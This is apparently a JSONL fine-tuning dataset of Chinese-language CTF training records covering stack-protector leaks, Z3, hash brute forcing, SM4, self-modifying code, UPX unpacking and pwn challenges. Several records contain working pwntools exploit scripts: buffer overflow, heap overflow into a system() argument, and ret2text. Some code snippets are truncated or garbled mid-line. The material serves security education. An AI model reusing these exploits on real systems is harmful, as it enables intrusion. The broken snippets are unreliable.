{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-a2e6109c5404c2f75ae3", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“SSP Leak”？请用《Pwn：Stack》中的内容回答。", "role": "user"}, {"content": "1. 然后我们将程序跑起来，获取程序输入内容的地址。\n2. 输入`aaaaaaaa`\n3. 我们可以看到我们输入的内容已经在栈中。\n4. 根据我们的输入位置和`argv[0]`的地址来计算偏移。\n5. 偏移为`0x1f8`，填充偏移大小的垃圾数据，然后在拼接上我们要泄露的变量地址。\n6. [2021 鹤城杯]easyecho", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 2, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::531fa7e634ccec54", "original_line": 778, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "SSP Leak", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "531fa7e634ccec54", "source_split": "train", "split": "train", "split_group_key": "cc98887a24ac7a27c408f1c5", "tags": ["pwn", "reverse", "ctf-method"], "title": "Pwn：Stack", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-a36222783ba07fcd2337", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Z3》中“变量表示”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Z3》的“变量表示”。\n语言/类型：python\n关联知识点：\n- Real-实数型\n- BitVec-向量\n- 只有向量类型可以进行位运算（异或，左右移位等）\n- 整型宇实数类型变量之间可以互相进行转换\n代码片段：\n```python\nfrom z3 import *\na=Int('a')#声明单个整型变量\na,b=Ints('a b')#声明多个整型变量\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::1bff2baf34016037", "original_line": 1055, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "变量表示", "source": "Z3.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "1bff2baf34016037", "source_split": "train", "split": "train", "split_group_key": "92681e9773de7d1d81617fe6", "tags": ["reverse"], "title": "Z3", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-a44dc5e40b096a0a87cd", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“2024极客大挑战 blastingmaster”？请用《Hash 类算法》中的内容回答。", "role": "user"}, {"content": "1. md5_list = lambda input_str: list(hashlib.md5(input_str.encode()).digest())\n2. cip = [cipher[16 * i: 16 * (i + 1)] for i in range(40)]\n3. data1 = 'S'  # 初始化 data1 为 'S'\n4. data2 = 'Y'  # 初始化 data2 为 'Y'\n5. data3 = 'C'  # 初始化 data3 为 'C'\n6. print(\"SYC\", end='')  # 打印 \"SYC\"", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 2, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::a46e7be782a3804a", "original_line": 878, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "2024极客大挑战 blastingmaster", "source": "Hash 类算法.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "a46e7be782a3804a", "source_split": "train", "split": "train", "split_group_key": "2c50ae6cb039688734332e9a", "tags": ["crypto", "ctf-method"], "title": "Hash 类算法", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-a522abdfd49b6097ccaf", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“shortshell”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / shortshell\n关键词：buf、mprotect、jmp、backdoor、gift、elf、ELF、shortshell、usr、bin\n蒸馏要点：\n- 程序用`mprotect`函数开辟了一段可执行代码的区域，而题目限制向`buf`输入5个字节，并且将`buf`作为函数执行。\n- 我们可以通过使用`jmp`跳转到`backdoor`函数。\n可用于训练的标准回答：\n### shortshell\n\n程序用`mprotect`函数开辟了一段可执行代码的区域，而题目限制向`buf`输入5个字节，并且将`buf`作为函数执行。\n\n我们可以通过使用`jmp`跳转到`backdoor`函数。\n\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\ncurrent_address = 0x404069\ntarget_address = 0x401270", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::f60e7b9f0c4b3490", "original_line": 924, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "shortshell", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "f60e7b9f0c4b3490", "source_split": "train", "split": "train", "split_group_key": "56e6c974d874d664d29e48e7", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-a53b726ba82821e4993e", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“[UUCTF 2022 新生赛]easystack”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“[UUCTF 2022 新生赛]easystack”。\n语言/类型：python\n关联知识点：\n- partial write（部分写入）就是一种利用PIE技术缺陷的bypass技术。\n代码片段：\n```python\n#!/usr/bin/python3\n\nfrom pwn import *\n\ncontext(os=\"linux\",arch=\"amd64\")\npwnfile=\"./easystack\"\n\ndef pwn():\n\tio.sendafter(b'name?', b'a'*0x108 + p16(0xc196))\n\tio.interactive()\nwhile(1):\n\ttry:\n\t\tio = process(pwnfile)\n\t\t#io = remote(\"node5.anna.nssctf.cn\",24033)\n\t\telf = ELF(pwnfile)\n\t\tpwn()\n\texcept:\n\t\tio.close()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::0b0170d63ec6dcf4", "original_line": 841, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "[UUCTF 2022 新生赛]easystack", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "0b0170d63ec6dcf4", "source_split": "train", "split": "train", "split_group_key": "0bb5429ed83228d56bc717cf", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-a5f6c711cfab2d4f3eb3", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“[NISACTF 2022]ezheap”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / [NISACTF 2022]ezheap\n关键词：NISACTF、bin、gift、elf、payload、ezheap、exp、usr、python3、pwncli\n蒸馏要点：\n- 程序为32位，分配了两个堆块，第二个堆块的内容作为system函数参数执行。\n- 但是写入第一个堆块的内容没有限制，所以产生了堆溢出。\n- 通过覆盖掉第二个堆块的头部，拿到shell。\n可用于训练的标准回答：\n### [NISACTF 2022]ezheap\n\n#堆溢出\n\n程序为32位，分配了两个堆块，第二个堆块的内容作为system函数参数执行。\n\n但是写入第一个堆块的内容没有限制，所以产生了堆溢出。\n\n通过覆盖掉第二个堆块的头部，拿到shell。\n\nexp\n```python\n#!/usr/bin/python3\nfrom pwncli import *\n\ncli_script()\nio=gift[\"io\"]\nelf=gift[\"elf\"]\npayload=b'a'*0x20+b\"/bin/sh\\x00\"\n\ns(payload)\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::200673182b058021", "original_line": 997, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "[NISACTF 2022]ezheap", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "200673182b058021", "source_split": "train", "split": "train", "split_group_key": "fec3519607b8b4ac50bf0848", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-a635cb03ba2f984b07a2", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《SM4 算法》的“算法逻辑”部分，提炼一条适合 SFT 的中文技术讲解样本（第 1 段）。", "role": "user"}, {"content": "出处：SM4 算法 / 算法逻辑（第 1 段）\n关键词：SM4、ctx、BLOCK_SIZE、EVP_CIPHER_CTX、OpenSSL、unsigned、len、SSL、EVP_E、include\n蒸馏要点：\n- SM4 分组长度为 4 字，因此输入是 4 字的明文，加密后得到的输出是 4 字的密文。\n- SM4 是中国国家密码算法之一，广泛用于加密和数据保护。下面是一个简单的 C 语言实现，展示了 SM4 的加密部分。为了完整性，我们会使用 OpenSSL 提供的工具库来实现 SM4 加密。若没有 OpenSSL 环境，可以自己实现或通过其他库进行加密操作。\n- SM4 加密实现\n- 首先，你需要安装 OpenSSL 开发库，以便能够使用其中的加密功能。如果你没有安装 OpenSSL，可以通过包管理工具来安装它。\n- 下面是使用 OpenSSL 库进行 SM4 加密的代码：\n- 确保你安装了 OpenSSL。\n- 使用 `EVP_sm4()` 来进行 SM4 加密。\n可用于训练的标准回答：\n## 算法逻辑\n\nSM4 分组长度为 4 字，因此输入是 4 字的明文，加密后得到的输出是 4 字的密文。\n\nSM4 是中国国家密码算法之一，广泛用于加密和数据保护。下面是一个简单的 C 语言实现，展示了 SM4 的加密部分。为了完整性，我们会使用 OpenSSL 提供的工具库来实现 SM4 加密。若没有 OpenSSL 环境，可以自己实现或通过其他库进行加密操作。\n\n- SM4 加密实现\n\n首先，你需要安装 OpenSSL 开发库，以便能够使用其中的加密功能。如果你没有安装 OpenSSL，可以通过包管理工具来安装它。\n\n下面是使用 OpenSSL 库进行 SM4 加密的代码：\n\n步骤：\n\n1. 确保你安装了 OpenSSL。\n2. 使用 `EVP_sm4()` 来进行 SM4 加密。\n\n```c\n#include\n#include\n#include\n#include\n\n#define KEY_LENGTH 16  // SM4 密钥长度为128位\n#define BLOCK_SIZE 16  // SM4 块大小为128位（16字节）\n\n// SM4加密函数\nint sm4_encrypt(const unsigned char *key, const unsigned char *plaintext, unsigned char *ciphertext) {\n    EVP_CIPHER_CTX *ctx = NULL;\n    int len;\n    int ciphertext_len;\n\n// 创建加密上下文\n    if (!(ctx = EVP_CIPHER_CTX_new())) {\n        perror(\"EVP_CIPHER_CTX_new failed\");\n        return -1;\n    }\n\n// 初始化SM4加密\n    if (1 != EVP_EncryptInit_ex(ctx, EVP_sm4_ecb(), NULL, key, NULL)) {\n        perror(\"EVP_EncryptInit...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["crypto", "ctf"], "original_id": "chatml::test::distilled_training_data::test::2341f524b1899844", "original_line": 19, "original_split": "test", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "算法逻辑", "source": "SM4 算法.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "2341f524b1899844", "source_split": "test", "split": "train", "split_group_key": "f6b7858178e3dd228f7571f6", "tags": ["crypto"], "title": "SM4 算法", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-a77716c4104afe7d9b31", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《SMC自修改代码》中“[FLAG_REDACTED]”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《SMC自修改代码》的“[FLAG_REDACTED]”。\n关联知识点：\n- import idc\n- addr = 0x401500  # encrypt函数的地址\n- for i in range(187):\n- b = get_bytes(addr + i, 1)\n- idc.patch_byte(addr + i, ord(b) ^ 0x41)\n代码片段：\n```\n试了一下，这个 flag 是假的。\n\n接下来继续逆向 SMC 部分。\n\n可以看到程序对`encrypt`函数进行了逐字节异或，解密`encrypt`函数。\n\n我们这里就使用静态解密法来编写 idapython 代码解密`encrypt`函数。\n\n- idapython解密脚本\n\n根据解密`encrypt`函数逻辑编写 idapython 解密脚本。\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 16, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::8b417e489a23c9a9", "original_line": 767, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "flag{fak3alw35spme!!}", "source": "SMC自修改代码.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "8b417e489a23c9a9", "source_split": "train", "split": "train", "split_group_key": "1213b3f25050435ac99796f1", "tags": ["reverse", "crypto", "ctf-method"], "title": "SMC自修改代码", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-a8f3e218da958df8d6e2", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《UPX 脱壳详解》的“ELF”部分，提炼一条适合 SFT 的中文技术讲解样本（第 2 段）。", "role": "user"}, {"content": "出处：UPX 脱壳详解 / ELF（第 2 段）\n关键词：ImageBase、auto、dumpfile、Dword、PT_DYNAMIC、StartImg、EndImg、e_phoff、e_phnum、p_offset\n蒸馏要点：\n- static main(void)\n- auto ImageBase,StartImg,EndImg;\t//基址 08048000\n- auto e_phoff;\n- auto e_phnum,p_offset;\t//paddr 0xc 地址，pmemsz ox14大小,p_offset 0x4\n- auto i,dumpfile;\n- ImageBase=0x08048000;\n- StartImg=0x08048000;\n可用于训练的标准回答：\n#define PT_DYNAMIC           2\nstatic main(void)\n{\n    auto ImageBase,StartImg,EndImg;\t//基址 08048000\n    auto e_phoff;\n    auto e_phnum,p_offset;\t//paddr 0xc 地址，pmemsz ox14大小,p_offset 0x4\n    auto i,dumpfile;\n    ImageBase=0x08048000;\n    StartImg=0x08048000;\n    EndImg=0x0;\n    Message(\"%8x\\n\",Dword(ImageBase));\n    if (Dword(ImageBase)==0x7f454c46 || Dword(ImageBase)==0x464c457f )\n    {\n        if(dumpfile=fopen(\"G:\\\\dumpfile\",\"wb\"))//这里可以更改路径\n        {\n            e_phoff=ImageBase+Word(ImageBase+0x1c);\n            e_phnum=Word(ImageBase+0x2c);\n            for(i=0;i手动去upx特征_upx -d-CSDN博客\n>linux 下 upx 脱壳笔记\n>三叶草二进制招新培训\n>如何用x64dbg UPX手动脱壳（64位）", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 1, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::fd43954a0be27d7b", "original_line": 855, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "ELF", "source": "UPX 脱壳详解.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "fd43954a0be27d7b", "source_split": "train", "split": "train", "split_group_key": "9ebd57dd5703bdcefebc0c07", "tags": ["reverse", "ctf-method"], "title": "UPX 脱壳详解", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-a9b1af5845e1ba616f2a", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“bjdctf2020babystack2”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / bjdctf2020babystack2\n关键词：gift、elf、ELF、payload、bjdctf2020babystack2、ret2text、exp、usr、bin、env\n蒸馏要点：\n- 在text段我们发现了backdoor函数。\n- 但是我们的第一个输入决定着接下来我们可以输入的数据长度。\n- 第一个输入如果大于有符号数的10，程序就会退出。\n- 但是在将第一个输入作为第二个输入的第三个参数时存在有符号数到无符号数的类型转换。\n- 如果我们第一个输入输入的是-1，就可以绕过限制，并且输入无限制的数据。\n- 所以我们第一此输入发送-1，第二次发送payload\n可用于训练的标准回答：\n### bjdctf2020babystack2\n\n#整数溢出 #ret2text\n\n在text段我们发现了backdoor函数。\n\n但是我们的第一个输入决定着接下来我们可以输入的数据长度。\n\n第一个输入如果大于有符号数的10，程序就会退出。\n\n但是在将第一个输入作为第二个输入的第三个参数时存在有符号数到无符号数的类型转换。\n\n如果我们第一个输入输入的是-1，就可以绕过限制，并且输入无限制的数据。\n\n所以我们第一此输入发送-1，第二次发送payload\n\nexp\n\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\nru(\"name:\\n\")\nsl(\"-1\")\n\nret=0x0000000000400599\n\npayload=b'a'*24+p64(0x40072A)\n\nr()\nsl(payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::5c36991090ae2a59", "original_line": 62, "original_split": "validation", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "bjdctf2020babystack2", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "5c36991090ae2a59", "source_split": "validation", "split": "train", "split_group_key": "9fce8e3b76aee3f357080154", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-a9e01fbdc89c943ee30f", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“SSP Leak”部分，提炼一条适合 SFT 的中文技术讲解样本（第 1 段）。", "role": "user"}, {"content": "出处：Pwn：Stack / SSP Leak（第 1 段）\n关键词：canary、SSP、rbp、text、stack_chk_fail、Leak、-fstack-protector、-fstack-protector-all、fs/gx、2. 校验\n蒸馏要点：\n- *Stack Smashing Protector (SSP)** 是一种防范栈溢出漏洞的机制，最初在1998年由 StackGuard 引入 GCC。\n- *SSP Leak** 则是利用 SSP 机制进行攻击的一种技术。通过破坏 `canary` 值，攻击者可以触发程序的异常处理流程，并利用该过程泄露信息。\n- 在CTF Wiki中将这种利用技术称为 **Stack Smash**，并将其归类为花式栈溢出的一部分。这表明，SSP Leak 是栈溢出攻击的一种高级形式。\n- SSP工作原理：\n- 插入`canary`\n- 将`canary`插入栈中，一般通过`fs/gx`寄存器来获取4字节（32位）或8字节（64位）的值，这就是`canary`值，然后将其插入到栈上与`rbp`相邻的位置。\n- 该值在函数执行前和返回时都会被检查。\n可用于训练的标准回答：\n### SSP Leak\n\n**Stack Smashing Protector (SSP)** 是一种防范栈溢出漏洞的机制，最初在1998年由 StackGuard 引入 GCC。后来，RedHat 将其发展为 ProPolice，提供了 `-fstack-protector` 和 `-fstack-protector-all` 编译选项。SSP 的核心目标是检测栈上的 `canary` 值是否被篡改，从而增强程序的安全性。\n\n**SSP Leak** 则是利用 SSP 机制进行攻击的一种技术。通过破坏 `canary` 值，攻击者可以触发程序的异常处理流程，并利用该过程泄露信息。\n\n在CTF Wiki中将这种利用技术称为 **Stack Smash**，并将其归类为花式栈溢出的一部分。这表明，SSP Leak 是栈溢出攻击的一种高级形式。\n\nSSP工作原理：\n\n1. 插入`canary`\n\n将`canary`插入栈中，一般通过`fs/gx`寄存器来获取4字节（32位）或8字节（64位）的值，这就是`canary`值，然后将其插入到栈上与`rbp`相邻的位置。\n\n该值在函数执行前和返回时都会被检查。\n\n```c\n.text:0000000000401205                 mov     rax, fs:28h\n.text:000000000040120E                 mov     [rbp+var_8], rax\n```\n\n2. 校验`canary`\n\n程序在结束时会从栈上读取`canary`的值，然后与保存的值进行比较，如果不相等（即被篡改）就调用`__stack_chk_fail`函数处理。\n\n```c\n.text:00000000004012CE                 mov     rcx, [rbp+var_8]\n.text:00000000004012D2                 xor     rcx, fs:28h\n.text:00000000004012DB                 j...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::78c6a8f766a359c8", "original_line": 789, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "SSP Leak", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "78c6a8f766a359c8", "source_split": "train", "split": "train", "split_group_key": "f850d5810f234100c6c67515", "tags": ["pwn", "reverse", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-aa010b0ca4c63519f19c", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《暴力破解》的“标准输入”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：暴力破解 / 标准输入\n关键词：output、flag、LEN、pwd、cmd、subprocess、table、PIPE、include、ABCDEFGHIJKLMNOPQRSTUVWXYZ\n蒸馏要点：\n- import subprocess\n- exe_path = './re.exe'\n- table = {}\n- chartable = \"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}=\"\n- for i in chartable:\n- process = subprocess.Popen(f\"{exe_path} [FLAG_REDACTED]\", stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n- stdout, stderr = process.communicate()\n可用于训练的标准回答：\n### 标准输入\n\n```c\n#include\n#include\n#include\n\n#define LEN 22\n#define CHARSET \"!\\\"#$%&'()*+,-./0123456789:;?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\"\n\nvoid try_password(const char *pwd) {\n    char cmd[1024];\n    snprintf(cmd, sizeof(cmd), \"./target_program %s\", pwd);\n\n    FILE *fp = popen(cmd, \"r\");\n    if (!fp) {\n        perror(\"popen\");\n        exit(1);\n    }\n\n    char output[1024];\n    int success = 0;\n    while (fgets(output, sizeof(output), fp)) {\n        if (strstr(output, \"Success\")) {\n            success = 1;\n        }\n    }\n    pclose(fp);\n\n    if (success) {\n        printf(\"Found password: %s\\n\", pwd);\n        exit(0);\n    }\n}\n\n// 示例：简单字典或启发式生成\nvoid brute_force_demo() {\n    // 这里只是演示前几位固定，真实策略要基于字典/规则\n    char pwd[LEN + 1] = \"AAAAAAAAAAAAAAAAAAAAAA\";  // 22 个 A\n    for (int i = 0; i 2024长城杯dumpG\n\n- exp\n\n```python\nimport subprocess\n\nexe_path = './re.exe'\ntabl...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["ctf-method", "ctf"], "original_id": "chatml::test::distilled_training_data::test::e4ef4dead9b02a77", "original_line": 10, "original_split": "test", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "标准输入", "source": "例题/爆破/暴力破解.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "e4ef4dead9b02a77", "source_split": "test", "split": "train", "split_group_key": "00a4e0f738fd739ec33b0723", "tags": ["ctf-method"], "title": "暴力破解", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-aa5d9025e9b80592325d", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《SM4 算法》中“算法逻辑”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《SM4 算法》的“算法逻辑”。\n语言/类型：c\n关联知识点：\n- SM4 分组长度为 4 字，因此输入是 4 字的明文，加密后得到的输出是 4 字的密文。\n- SM4 是中国国家密码算法之一，广泛用于加密和数据保护。下面是一个简单的 C 语言实现，展示了 SM4 的加密部分。为了完整性，我们会使用 OpenSSL 提供的工具库来实现 SM4 加密。若没有 OpenSSL 环境，可以自己实现或通过其他库进行加密操作。\n- SM4 加密实现\n- 首先，你需要安装 OpenSSL 开发库，以便能够使用其中的加密功能。如果你没有安装 OpenSSL，可以通过包管理工具来安装它。\n- 下面是使用 OpenSSL 库进行 SM4 加密的代码：\n代码片段：\n```c\n#include\n#include\n#include\n#include\n\n#define KEY_LENGTH 16  // SM4 密钥长度为128位\n#define BLOCK_SIZE 16  // SM4 块大小为128位（16字节）\n\n// SM4加密函数\nint sm4_encrypt(const unsigned char *key, const unsigned char *plaintext, unsigned char *ciphertext) {\n    EVP_CIPHER_CTX *ctx = NULL;\n    int len;\n    int ciphertext_len;\n\n    // 创建加密上下文\n    if (!(ctx = EVP_CIPHER_CTX_new())) {\n        